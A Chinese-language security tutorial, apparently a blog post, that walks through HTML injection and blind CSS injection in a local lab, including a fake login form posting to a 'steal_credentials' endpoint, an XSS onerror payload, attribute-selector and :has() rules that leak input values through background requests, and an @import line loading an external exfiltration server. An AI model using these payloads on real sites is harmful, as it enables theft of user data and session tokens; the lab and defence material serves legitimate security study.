简介
这篇文章中,分享一个技巧。通过CSS注入盲打用户前端页面敏感数据
需要的前提: 存在CSS注入漏洞的环境
理论最高危害:1 click用户接管
环境记录
采取docker-compose 部署
- 部署nginx-docker
mkdir nginx_test
cd nginx_test
touch docker-compose.yml
mkdir -p nginx/conf.d
touch nginx/conf.d/default.conf
- docker-compose.yml
version: '3'
services:
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx/conf.d:/etc/nginx/conf.d
- ./html:/usr/share/nginx/html
- nginx/conf.d default.conf
server {
listen 80;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
}
- nginx_test 目录
mkdir html
html/index.html
<h1>Hello, Docker Compose with Nginx!</h1>
- docker 启动
docker-compose up -d
从html注入开始
HTML注入攻击是一种网络攻击,攻击者将恶意HTML代码注入到Web应用程序中,操控页面的显示和行为。这种攻击通常用来进行钓鱼、会话劫持或跨站脚本(XSS)攻击。
一个demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HTML Injection Vulnerability Example</title>
<style>
body {
font-family: Arial, sans-serif;
}
.container {
max-width: 600px;
margin: 50px auto;
padding: 20px;
border: 1px solid #ccc;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
background-color: #f9f9f9;
}
</style>
</head>
<body>
<div class="container">
<h1>HTML Injection Vulnerability Example</h1>
<form id="htmlForm">
<label for="htmlInput">Enter your HTML:</label><br>
<textarea id="htmlInput" name="htmlInput" rows="10" cols="50"></textarea><br><br>
<button type="submit">Submit</button>
</form>
<div class="result" id="result">
<p>This is a sample text to demonstrate HTML injection.</p>
</div>
</div>
<script>
document.getElementById('htmlForm').addEventListener('submit', function(e) {
e.preventDefault();
const htmlInput = document.getElementById('htmlInput').value;
document.getElementById('result').innerHTML = htmlInput;
});
</script>
</body>
</html>
注入恶意HTML
<h2>Injected Heading</h2>
<p>This is an injected paragraph.</p>
点击Submit按钮即可
钓鱼攻击
注入一个伪造的登录表单,诱骗用户输入敏感信息:
<form action="http://127.0.0.1/steal_credentials" method="POST">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="password">Password:</label><br>
<input type="password" id="password" name="password"><br><br>
<button type="submit">Login</button>
</form>
xss攻击
<img src=1 href=1 onerror="javascript:alert(1)"></img>
防护措施
这部分简单概述
- 输入过滤
document.getElementById('htmlForm').addEventListener('submit', function(e) {
e.preventDefault();
let htmlInput = document.getElementById('htmlInput').value;
htmlInput = htmlInput.replace(/</g, "<").replace(/>/g, ">");
document.getElementById('result').innerHTML = htmlInput;
});
- 纯文本输入,前端不解析
document.getElementById('htmlForm').addEventListener('submit', function(e) {
e.preventDefault();
const htmlInput = document.getElementById('htmlInput').value;
const textNode = document.createTextNode(htmlInput);
const resultDiv = document.getElementById('result');
resultDiv.innerHTML = '';
resultDiv.appendChild(textNode);
});
- 使用安全库和框架
- CSP策略消减漏洞危害
Content-Security-Policy: default-src 'self';
CSS注入
靶场页面
一个简单的demo,允许用户输入CSS代码,并将其应用于页面。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS Injection Vulnerability Example</title>
<style>
body {
font-family: Arial, sans-serif;
}
.container {
max-width: 600px;
margin: 50px auto;
padding: 20px;
border: 1px solid #ccc;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
background-color: #f9f9f9;
}
</style>
</head>
<body>
<div class="container">
<h1>CSS Injection Vulnerability Example</h1>
<form id="cssForm">
<label for="cssInput">Enter your CSS:</label><br>
<textarea id="cssInput" name="cssInput" rows="10" cols="50"></textarea><br><br>
<button type="submit">Apply CSS</button>
</form>
<div class="result" id="result">
<p>This is a sample text to demonstrate CSS injection.</p>
<p>Modify the CSS to change the appearance of this text.</p>
</div>
</div>
<script>
document.getElementById('cssForm').addEventListener('submit', function(e) {
e.preventDefault();
const cssInput = document.getElementById('cssInput').value;
const styleElement = document.createElement('style');
styleElement.textContent = cssInput;
document.head.appendChild(styleElement);
});
</script>
</body>
</html>
- 输入简单的CSS代码,如
p { color: red; }
,然后点击“Apply CSS”,观察页面样式的变化
- 尝试输入恶意CSS代码,例如:
body { background-image: url('https://www.baidu.com/img/doodlegaokaokaohou_5b0f886d182bfd1761854cb4dfa72fa8.gif'); }
防范措施(概述)
- 输入过滤
- 对用户输入的CSS代码进行严格的检查,避免注入恶意代码。
- 只允许安全的CSS属性和值。
- CSP策略同样有效
- 用户输入不作为css格式解析
从CSS注入到页面数据外带(正文)
相比于传统的html注入,CSS注入通常是指通过注入恶意CSS代码来操纵页面样式,而不是直接执行JavaScript。想对于危害较低
一般需要结合其他漏洞进行组合利用
body {
background-image: url('javascript:alert("CSS Injection")');
}
利用页面中未过滤的用户输入,通过注入恶意CSS代码,操控页面样式或进行间接攻击
- 需要注意的是,本文只讨论只允许CSS样式注入从而带来的安全问题,同样适用于当找到一个
html
注入漏洞,但是由于网站CSP防护或者存在DOMPurify等防护机制,无法通过漏洞执行js的情况
基础知识
利用css变量触发请求
这里要注意的是:如果我们想窃取受害者敏感数据,那么需要向外部发起网络请求从而数据外带
- 举一个例子(当输入的值等于"password"时,则通过此种方式发起http请求从而达到数据外带的目的)
<!DOCTYPE html>
<html lang="en">
<input value=password>
<style>
input[value="password"] {
background: url(/collectData?value=password);
}
/* 如果不,则设置背景为百度 */
input {
background:url('https://www.baidu.com/img/doodlegaokaokaohou_5b0f886d182bfd1761854cb4dfa72fa8.gif');
}
</style>
</html>
css的一些语法(属性选择器)
- 存在属性选择器
a[target] {
color: orange;
}
- 值等于选择器
a[target="_blank"] {
color: pink;
}
- 值包含选择器
a[title~="example"] {
color: purple;
}
- 值以指定字符开头选择器
a[href^="https"] {
color: cyan;
}
- 值以指定字符结尾选择器
a[href$=".pdf"] {
color: brown;
}
- 值包含子串选择器
a[href*="example"] {
color: teal;
}
插入一个demo,方便理解
<style>
input[value^="a"] {
color:red;
}
input[value$="f"] {
color:green;
}
</style>
<input value=abc>
<input value=def>
使用属性选择器提取数据
- 当前,这就十分好理解了,定义了一个名为
--starts-with-a
的变量,并将该变量分配给输入的背景图像
<style>
input[value^="a"] {
--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头,则none不会发送请求 */
input{
background: var(--starts-with-a,none);
}
</style>
<input value=abc>
<input value=def>
- 截至到现在,还有一些限制,
<style>
input[value^="a"] {
--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头,则none不会发送请求 */
input{
background: var(--starts-with-a,none);
}
</style>
<input type=hidden value=abc>
<input value=def>
比如当input设置为hidden属性时,则无法找到元素进而发起数据外带
css的一些语法(属性选择器)
继续挖掘一些css的语法
- has选择器
:has()
选择器是CSS Selectors Level 4 中的一个提案,用于选择包含特定后代元素的父元素。它的语法形式为 :has(selector)
,其中 selector
是一个CSS选择器,表示要匹配的后代元素。
- 继续还是上一个例子
<style>
html:has(input[value^="a"]) {
--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头,则none不会发送请求 */
input{
background: var(--starts-with-a,none);
}
</style>
<html>
<input type=hidden value=abc>
<input value=def>
</html>
- 注意,这块我在input加了父html节点,因为has是需要父亲找子节点的,实际中的网站我们关注的数据几乎一定会有父节点
- 多说一句:has选择器是需要浏览器进行支持的,可能较老的浏览器无法支持,本文章才用的浏览器版本为
在开发中,可以用Polyfill库进行代替(和文章中的安全关系较弱,只是多说一句)
- not选择器
在CSS中,:not()
选择器允许你选择除了指定选择器之外的所有元素。它的语法形式为 :not(selector)
,其中 selector
是一个CSS选择器,表示不希望匹配的元素,其实就是和has相反
- 比如上个例子中,只取abc 不取 def则
<style>
html:has(input[value^="a"]):not(input[name="def"]) {
--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头,则none不会发送请求 */
input{
background: var(--starts-with-a,none);
}
</style>
<html>
<input type=hidden value=abc>
<input value=def>
</html>
脚本开发&工具部署
- 正如sql注入中的布尔盲注,需要写一个脚本,笔者感觉和sql注入盲注类似,又或者ssrf盲注的思想
- @import css语法
在CSS中,@import
规则用于引入外部样式表文件,使得可以将一个CSS文件嵌入到另一个CSS文件中。这种方式可以帮助组织和管理样式表,使得代码结构更加清晰和模块化。
有了css的import,那么我们就可以写脚本进行数据提取了,这部分参考garethheyes大佬写的工具https://github.com/hackvertor/blind-css-exfiltration
- 环境部署
node css-exfiltrator-server.js
- 一个demo
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Access control unprotected admin functionality</h2>
<a class=link-back href='https://portswigger.net'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/administrator-panel/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/administrator-panel/delete?username=carlos">Delete</a>
</div>
</section>
<br>
<hr>
</div>
</section>
<div class="footer-wrapper">
</div>
<style>
@import 'https://xxxxx/blind-css-exfiltration/start';
</style>
写在最后
仅代表一些css注入的思想,实际攻击的话外带的用户的敏感页面数据整体还是比较难的。需要一个特定的场景,万一就有一个弱auth-token会明文写道前端页面呢?这样危害则为1 click用户接管